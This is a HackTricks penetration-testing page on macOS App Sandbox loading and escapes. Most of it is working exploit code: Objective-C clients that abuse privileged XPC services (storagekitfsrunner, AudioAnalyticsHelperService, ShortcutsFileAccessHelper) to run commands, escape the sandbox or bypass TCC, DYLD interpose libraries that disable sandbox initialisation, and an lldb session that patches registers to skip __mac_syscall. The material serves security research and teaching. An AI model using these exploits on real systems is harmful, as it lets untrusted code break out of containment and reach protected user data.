macOS Sandbox Debug & Bypass - HackTricks

# macOS Sandbox Debug & Bypass

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## Sandbox loading process

Image from http://newosxbook.com/files/HITSB.pdf

In the previous image it's possible to observe how the sandbox will be loaded when an application with the entitlement `com.apple.security.app-sandbox` is run.

The compiler will link `/usr/lib/libSystem.B.dylib` to the binary.

Then, `libSystem.B` will be calling other several functions until the `xpc_pipe_routine` sends the entitlements of the app to `securityd`. Securityd checks if the process should be quarantine inside the Sandbox, and if so, it will be quarentine.
Finally, the sandbox will be activated will a call to `__sandbox_ms` which will call `__mac_syscall`.

## Possible Bypasses

### Bypassing quarantine attribute

Files created by sandboxed processes are appended the quarantine attribute to prevent sandbox escaped. However, if you manage to create an `.app` folder without the quarantine attribute within a sandboxed application, you could make the app bundle binary point to `/bin/bash` and add some env variables in the plist to abuse `open` to launch the new app unsandboxed.

This is what was done in CVE-2023-32364.

> [!CAUTION] Therefore, at the moment, if you are just capable of creating a folder with a name ending in `.app` without a quarantine attribute, you can scape the sandbox because macOS only checks the quarantine attribute in the `.app` folder and in the main executable (and we will point the main executable to `/bin/bash`).

> Note that if an .app bundle has already been authorized to run (it has a quarantine xttr with the authorized to run flag on), you could also abuse it... except that now you cannot write inside `.app` bundles unless you have some privileged TCC perms (which you won't have inside a sandbox high).

### Abusing Open functionality

In the last examples of Word sandbox bypass can be appreciated how the `open` cli functionality could be abused to bypass the sandbox.

macOS Office Sandbox Bypasses

### Launch Agents/Daemons

Even if an application is meant to be sandboxed (`com.apple.security.app-sandbox`), it's possible to make bypass the sandbox if it's executed from a LaunchAgent (`~/Library/LaunchAgents`) for example.
As explained in this post, if you want to gain persistence with an application that is sandboxed you could make be automatically executed as a LaunchAgent and maybe inject malicious code via DyLib environment variables.

### Abusing Auto Start Locations

If a sandboxed process can write in a place where later an unsandboxed application is going to run the binary, it will be able to escape just by placing there the binary. A good example of this kind of locations are `~/Library/LaunchAgents` or `/System/Library/LaunchDaemons`.

For this you might even need 2 steps: To make a process with a more permissive sandbox (`file-read*`, `file-write*`) execute your code which will actually write in a place where it will be executed unsandboxed.

Check this page about Auto Start locations:

macOS Auto Start

### Abusing other processes

If from then sandbox process you are able to compromise other processes running in less restrictive sandboxes (or none), you will be able to escape to their sandboxes:

macOS Process Abuse

### Available System and User Mach services

The sandbox also allow to communicate with certain Mach services via XPC defined in the profile `application.sb`. If you are able to abuse one of these services you might be able to escape the sandbox.

As indicated in this writeup, the info about Mach services is stored in `/System/Library/xpc/launchd.plist`. It's possible to find all the System and User Mach services by searching inside that file for `<string>System</string>` and `<string>User</string>`.

Moreover, it's possible to check if a Mach service is available to a sandboxed application by calling the `bootstrap_look_up`:

    void checkService(const char *serviceName) {
        mach_port_t service_port = MACH_PORT_NULL;
        kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
        if (!err) {
          NSLog(@"available service:%s", serviceName);
          mach_port_deallocate(mach_task_self_, service_port);
        }
    }

    void print_available_xpc(void) {
        NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
        NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
        for (NSString* key in launchDaemons) {
          NSDictionary<NSString*, id>* job = launchDaemons[key];
          NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
          for (NSString* serviceName in machServices) {
              checkService(serviceName.UTF8String);
          }
        }
    }

### Available PID Mach services

These Mach services were firstly abused to escape from the sandbox in this writeup. By that time, all the XPC services required by an application and its framework were visible in the app's PID domain (these are Mach Services with `ServiceType` as `Application`).

In order to contact a PID Domain XPC service, it's just needed to register it inside the app with a line such as:

    [[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];

Moreover, It's possible to find all the Application Mach services by searching inside `System/Library/xpc/launchd.plist` for `<string>Application</string>`.

Another way to find valid xpc services is to check the ones in:

    find /System/Library/Frameworks -name "*.xpc"
    find /System/Library/PrivateFrameworks -name "*.xpc"

Several examples abusing this technique can be found in the original writeup, however, the following are some sumarized examples.

#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc

This services allows every XPC connection by returning always `YES` and the method `runTask:arguments:withReply:` executes an arbitrary command with arbitrary params.

The exploit was "as simple as":

    @protocol SKRemoteTaskRunnerProtocol
    -(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
    @end

    void exploit_storagekitfsrunner(void) {
        [[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
        NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
        conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
        [conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
        [conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
        [conn resume];

        [[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
            NSLog(@"run task result:%@, error:%@", bSucc, error);
        }];
    }

#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc

This XPC service allowed every client bu always returning YES and the method `createZipAtPath:hourThreshold:withReply:` basically allowed to indicate the path to a folder to compress and it'll compress it in a ZIP file.

Therefore, it's possible to generate a fake app folder structure, compress it, then decompress and execute it to escape the sandbox as the new files won't have the quarantine attribute.

The exploit was:

    @protocol AudioAnalyticsHelperServiceProtocol
    -(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
    -(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
    @end
    void exploit_AudioAnalyticsHelperService(void) {
        NSString *currentPath = NSTemporaryDirectory();
        chdir([currentPath UTF8String]);
        NSLog(@"======== preparing payload at the current path:%@", currentPath);
        system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
        [@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
        system("chmod +x compressed/poc.app/Contents/MacOS/poc");

        [[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
        NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
        conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
        [conn resume];

        [[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
            NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
            NSString *file;
            while ((file = [dirEnum nextObject])) {
                if ([[file pathExtension] isEqualToString: @"zip"]) {
                    // open the zip
                    NSString *cmd = [@"open " stringByAppendingString:file];
                    system([cmd UTF8String]);

                    sleep(3); // wait for decompression and then open the payload (poc.app)
                    NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
                    system([cmd2 UTF8String]);
                    break;
                }
            }
        }];
    }

#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc

This XPC service allows to give read and write access to an arbitarry URL to the XPC client via the method `extendAccessToURL:completion:` which accepted any connection. As the XPC service has FDA, it's possible to abuse these permissions to bypass TCC completely.

The exploit was:

    @protocol WFFileAccessHelperProtocol
    - (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
    @end
    typedef int (*PFN)(const char *);
    void expoit_ShortcutsFileAccessHelper(NSString *target) {
        [[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
        NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
        conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
        [conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
        [conn resume];

        [[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
            NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
            NSURL *targetURL = [fpWrapper url];

            void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
            PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
            if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
                NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
            else {
                NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
                NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
            }
        }];
    }

### Static Compiling & Dynamically linking

This research discovered 2 ways to bypass the Sandbox. Because the sandbox is applied from userland when the libSystem library is loaded. If a binary could avoid loading it, it would never get sandboxed:

- If the binary was completely statically compiled, it could avoid loading that library.
- If the binary wouldn't need to load any libraries (because the linker is also in libSystem), it won't need to load libSystem.

### Shellcodes

Note that even shellcodes in ARM64 needs to be linked in `libSystem.dylib`:

    ld -o shell shell.o -macosx_version_min 13.0
    ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

### Not inherited restrictions

As explined in the bonus of this writeup a sandbox restriction like:

    (version 1)
    (allow default)
    (deny file-write* (literal "/private/tmp/sbx"))

can be bypassed by a new process executing for example:

    mkdir -p /tmp/poc.app/Contents/MacOS
    echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
    chmod +x /tmp/poc.app/Contents/MacOS/poc
    open /tmp/poc.app

However, of course, this new process won't inherit entitlements or privileges from the parent process.

### Entitlements

Note that even if some actions might be allowed by at he sandbox if an application has an specific entitlement, like in:

    (when (entitlement "com.apple.security.network.client")
          (allow network-outbound (remote ip))
          (allow mach-lookup
                 (global-name "com.apple.airportd")
                 (global-name "com.apple.cfnetwork.AuthBrokerAgent")
                 (global-name "com.apple.cfnetwork.cfnetworkagent")
                 [...]

### Interposting Bypass

For more information about Interposting check:

macOS Function Hooking

#### Interpost `_libsecinit_initializer` to prevent the sandbox

    // gcc -dynamiclib interpose.c -o interpose.dylib

    #include <stdio.h>

    void _libsecinit_initializer(void);

    void overriden__libsecinit_initializer(void) {
        printf("_libsecinit_initializer called\n");
    }

    __attribute__((used, section("__DATA,__interpose"))) static struct {
    	void (*overriden__libsecinit_initializer)(void);
    	void (*_libsecinit_initializer)(void);
    }
    _libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

    DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
    _libsecinit_initializer called
    Sandbox Bypassed!

#### Interpost `__mac_syscall` to prevent the Sandbox

    // gcc -dynamiclib interpose.c -o interpose.dylib

    #include <stdio.h>
    #include <string.h>

    // Forward Declaration
    int __mac_syscall(const char *_policyname, int _call, void *_arg);

    // Replacement function
    int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
        printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
        if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
            printf("Bypassing Sandbox initiation.\n");
            return 0; // pretend we did the job without actually calling __mac_syscall
        }
        // Call the original function for other cases
        return __mac_syscall(_policyname, _call, _arg);
    }

    // Interpose Definition
    struct interpose_sym {
        const void *replacement;
        const void *original;
    };

    // Interpose __mac_syscall with my_mac_syscall
    __attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
        { (const void *)my_mac_syscall, (const void *)__mac_syscall },
    };

    DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

    __mac_syscall invoked. Policy: Sandbox, Call: 2
    __mac_syscall invoked. Policy: Sandbox, Call: 2
    __mac_syscall invoked. Policy: Sandbox, Call: 0
    Bypassing Sandbox initiation.
    __mac_syscall invoked. Policy: Quarantine, Call: 87
    __mac_syscall invoked. Policy: Sandbox, Call: 4
    Sandbox Bypassed!

### Debug & bypass Sandbox with lldb

Let's compile an application that should be sandboxed:

{{#tabs}} {{#tab name="sand.c"}}

    #include <stdlib.h>
    int main() {
        system("cat ~/Desktop/del.txt");
    }

{{#endtab}}

{{#tab name="entitlements.xml"}}

    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
    <dict>
    <key>com.apple.security.app-sandbox</key>
    <true/>
    </dict>
    </plist>

{{#endtab}}

{{#tab name="Info.plist"}}

    <plist version="1.0">
    <dict>
        <key>CFBundleIdentifier</key>
        <string>xyz.hacktricks.sandbox</string>
        <key>CFBundleName</key>
        <string>Sandbox</string>
    </dict>
    </plist>

{{#endtab}} {{#endtabs}}

Then compile the app:

    # Compile it
    gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

    # Create a certificate for "Code Signing"

    # Apply the entitlements via signing
    codesign -s <cert-name> --entitlements entitlements.xml sand

> [!CAUTION] The app will try to read the file `~/Desktop/del.txt`, which the Sandbox won't allow.
> Create a file in there as once the Sandbox is bypassed, it will be able to read it:

>     echo "Sandbox Bypassed" > ~/Desktop/del.txt

Let's debug the application to see when is the Sandbox loaded:

    # Load app in debugging
    lldb ./sand

    # Set breakpoint in xpc_pipe_routine
    (lldb) b xpc_pipe_routine

    # run
    (lldb) r

    # This breakpoint is reached by different functionalities
    # Check in the backtrace is it was de sandbox one the one that reached it
    # We are looking for the one libsecinit from libSystem.B, like the following one:
    (lldb) bt
    * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
      * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
        frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
        frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
        frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
        frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

    # To avoid lldb cutting info
    (lldb) settings set target.max-string-summary-length 10000

    # The message is in the 2 arg of the xpc_pipe_routine function, get it with:
    (lldb) p (char *) xpc_copy_description($x1)
    (char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

    # The 3 arg is the address were the XPC response will be stored
    (lldb) register read x2
      x2 = 0x000000016fdfd660

    # Move until the end of the function
    (lldb) finish

    # Read the response
    ## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
    (lldb) memory read -f p 0x000000016fdfd660 -c 1
    0x16fdfd660: 0x0000600003d04000
    (lldb) p (char *) xpc_copy_description(0x0000600003d04000)
    (char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

    # To bypass the sandbox we need to skip the call to __mac_syscall
    # Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
    (lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
    (lldb) c

    # The 1 arg is the name of the policy, in this case "Sandbox"
    (lldb) memory read -f s $x0
    0x19300eb22: "Sandbox"

    #
    # BYPASS
    #

    # Due to the previous bp, the process will be stopped in:
    Process 2517 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
        frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
    libsystem_kernel.dylib`:
    ->  0x187659900 <+0>:  mov    x16, #0x17d
        0x187659904 <+4>:  svc    #0x80
        0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
        0x18765990c <+12>: pacibsp

    # To bypass jump to the b.lo address modifying some registers first
    (lldb) breakpoint delete 1 # Remove bp
    (lldb) register write $pc 0x187659928 #b.lo address
    (lldb) register write $x0 0x00
    (lldb) register write $x1 0x00
    (lldb) register write $x16 0x17d
    (lldb) c
    Process 2517 resuming
    Sandbox Bypassed!
    Process 2517 exited with status = 0 (0x00000000)

> [!WARNING] > Even with the Sandbox bypassed TCC will ask the user if he wants to allow the process to read files from desktop

## References

- http://newosxbook.com/files/HITSB.pdf
- https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
- https://www.youtube.com/watch?v=mG715HcDgO8

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> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.